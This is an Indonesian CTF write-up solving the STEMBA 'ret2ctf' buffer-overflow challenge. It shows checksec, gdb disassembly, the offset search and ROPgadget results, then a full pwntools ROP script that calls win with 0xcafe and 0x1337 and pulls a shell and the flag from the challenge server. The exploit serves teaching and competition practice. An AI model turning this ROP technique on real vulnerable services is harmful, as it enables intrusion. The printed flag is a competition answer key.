

WRITE UP BINARY STEMBA CTF RET2CTF

LUKAS DANU SAPTAJI

Pertama kita analisis dulu file chall nya

```
shouma@DESKTOP-R6EE5AL mnt > ret2ctf file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
```

Dan kita checksec juga

```
shouma@DESKTOP-R6EE5AL mnt > ret2ctf checksec chall
[*] '/mnt/c/Users/NB3440-Master01/OneDrive/Desktop/CTF/NO AI/PWN/ret2ctf/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
```

Itu hasilnya bisa dilihat bahwa nx nya enable jadi biasanya pakai Teknik ROP (return oriented programming) penjelasannya cari sendiri ya selanjutnya kita cek function apa saja yang ada pakai gdb kalau pakai ghidra terserah.

```
pwndbg> info funct
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 system@plt
0x0000000000401050 printf@plt
0x0000000000401060 gets@plt
0x0000000000401070 setvbuf@plt
0x0000000000401080 _start
0x00000000004010b0 _dl_relocate_static_pie
0x00000000004010c0 deregister_tm_clones
0x00000000004010f0 register_tm_clones
0x0000000000401130 __do_global_dtors_aux
0x0000000000401160 frame_dummy
0x0000000000401162 setup
0x00000000004011c3 win
0x00000000004011f5 main
0x0000000000401240 __libc_csu_init
0x00000000004012a0 __libc_csu_fini
0x00000000004012a4 _fini
```

Itu ada function win kita coba lihat

```

pwndbg> disas win
Dump of assembler code for function win:
   0x00000000004011c3 <+0>:   push    rbp
   0x00000000004011c4 <+1>:   mov     rbp, rsp
   0x00000000004011c7 <+4>:   sub     rsp, 0x10
   0x00000000004011cb <+8>:   mov     DWORD PTR [rbp-0x4], edi
   0x00000000004011ce <+11>:  mov     DWORD PTR [rbp-0x8], esi
   0x00000000004011d1 <+14>:  cmp     DWORD PTR [rbp-0x4], 0xcafe
   0x00000000004011d8 <+21>:  jne     0x4011f2 <win+47>
   0x00000000004011da <+23>:  cmp     DWORD PTR [rbp-0x8], 0x1337
   0x00000000004011e1 <+30>:  jne     0x4011f2 <win+47>
   0x00000000004011e3 <+32>:  mov     edi, 0x402008
   0x00000000004011e8 <+37>:  mov     eax, 0x0
   0x00000000004011ed <+42>:  call    0x401040 <system@plt>
   0x00000000004011f2 <+47>:  nop
   0x00000000004011f3 <+48>:  leave
   0x00000000004011f4 <+49>:  ret
End of assembler dump.

```

Bisa dilihat itu dword ptr itu adalah argumen RDI : 0xcafe dan RSI : 0x1337 jadi ini kayak di cek gitu apakah nilainya sudah benar café dan 1337 apa belum kalau sudah maka akan call system kalau tidak maka lompat ke ret dan gagal gitu. Jadi kita harus isi di payloadnya sesuai argumennya gitu

Lanjut kita cari offsetnya

```

[ REGISTERS / show-flag
RAX 0
RBX 0x7fffffffda38 -> 0x7fffffffdd90 -> '/mnt/c/Users/NB
RCX 0x7ffff7e03be0 (_IO_2_1_stdin_) -> 0xfbad208b
RDX 0
RDI 0x7ffff7e05720 (_IO_stdfile_0_lock) -> 0
RSI 0x7ffff7e03963 (_IO_2_1_stdin_+131) -> 0xe0572000000
R8 0
R9 0
R10 0x7ffff7c0e008 -> 0x110022000047e8
R11 0x246
R12 1
R13 0
R14 0
R15 0x7ffff7ffd000 (_rtld_global) -> 0x7ffff7ffe2e0 -> 0
RBP 0x6161616161616165 ('eaaaaaaa')
RSP 0x7ffff7ffd918 -> 0x6161616161616166 ('faaaaaaa')
RIP 0x401237 (main+66) -> ret

```

```

pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

```

Sip sudah ketemu offsetnya sekarang kita cari rdi dan rsi karna tadi kan Cuma argumennya kita cari alamatnya ibarat surat dan alamat rumahnya

Caranya pakai

```

shouma@DESKTOP-R6EE5AL ~$ mnt > ret2ctf ROPgadget --binary ./chall | grep "pop rdi"
0x000000000040129b : pop rdi ; ret
shouma@DESKTOP-R6EE5AL ~$ mnt > ret2ctf ROPgadget --binary ./chall | grep "pop rsi"
0x0000000000401299 : pop rsi ; pop r15 ; ret

```

Sip sudah ketemu semua langsung kita buat scriptnya

```

ret2ctf > 1.py > ...
1  from pwn import *
2
3  # Context setting for 64-bit
4  # p = process('./chall')
5  p = remote('ctf-chall.stembascc.com', 5204)
6
7  # Gadget addresses (find using ROPgadget --binary ./challenge_binary)
8  pop_rdi = 0x40129b # Replace with actual gadget address
9  pop_rsi_r15 = 0x401299 # Replace with actual pop rsi; pop r15; ret
10 win = 0x4011c3
11
12 # Construct ROP chain
13 payload = b"A" * 40 # Padding to reach return address
14 payload += p64(pop_rdi)
15 payload += p64(0xcafe) # Value for RDI
16 payload += p64(pop_rsi_r15)
17 payload += p64(0x1337) # Value for RSI (e.g., buffer address)
18 payload += p64(0x0) # Garbage for R15 (needed for pop rsi pop r15)
19 payload += p64(win)
20
21 p.sendline(payload)
22 p.interactive()

```

```

PROBLEMS 8 OUTPUT DEBUG CONSOLE TERMINAL PORTS
shouma@DESKTOP-R6EE5AL mnt > ret2ctf python3 1.py
[+] Opening connection to ctf-chall.stembascc.com on port 5204: Done
[*] Switching to interactive mode
-----time to hack!!-----
Payload: $ ls
chall
flag.txt
$ cat flag.txt
STEMBACTF{S1mpl3_Ret2Win_w1th_4_4rgum3nt}$

```

FLAG : STEMBACTF{S1mpl3_Ret2Win_w1th_4_4rgum3nt}